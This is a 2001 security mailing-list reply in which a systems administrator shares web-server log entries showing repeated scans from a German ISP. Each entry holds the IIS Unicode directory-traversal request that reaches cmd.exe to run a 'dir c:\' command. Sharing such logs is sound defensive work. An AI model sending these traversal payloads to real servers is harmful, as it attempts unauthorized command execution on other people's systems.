[Dshield] Re: Check this out.

Jeff Anderson-Lee jonah at dlp.CS.Berkeley.EDU
Mon Aug 20 16:16:02 GMT 2001


Paul Marsh <pmarsh at nmefdn.org> wrote:
>This is a welcoming log entree on a Monday Morning.  Anybody else get any of
>these babies over the weekend?  It's from CHINANET Shandong province
>network.

241.16.dsl1.ip.foni.net - - [19/Aug/2001:07:38:48 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 3234 ((- -> /scripts/..À¯../winnt/system32/cmd.exe))
241.16.dsl1.ip.foni.net - - [19/Aug/2001:07:42:52 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 3234 ((- -> /scripts/..À¯../winnt/system32/cmd.exe))

76.16.dsl1.ip.foni.net - - [19/Aug/2001:17:04:58 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 3234 ((- -> /scripts/..À¯../winnt/system32/cmd.exe))
76.16.dsl1.ip.foni.net - - [19/Aug/2001:17:08:43 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 3234 ((- -> /scripts/..À¯../winnt/system32/cmd.exe))
76.16.dsl1.ip.foni.net - - [19/Aug/2001:17:41:27 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 3234 ((- -> /scripts/..À¯../winnt/system32/cmd.exe))
76.16.dsl1.ip.foni.net - - [19/Aug/2001:17:44:50 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 3234 ((- -> /scripts/..À¯../winnt/system32/cmd.exe))

These are from a German ISP.

Jeff Anderson-Lee
Systems Manager, Digital Library Project
ERL, UC Berkeley




More information about the list mailing list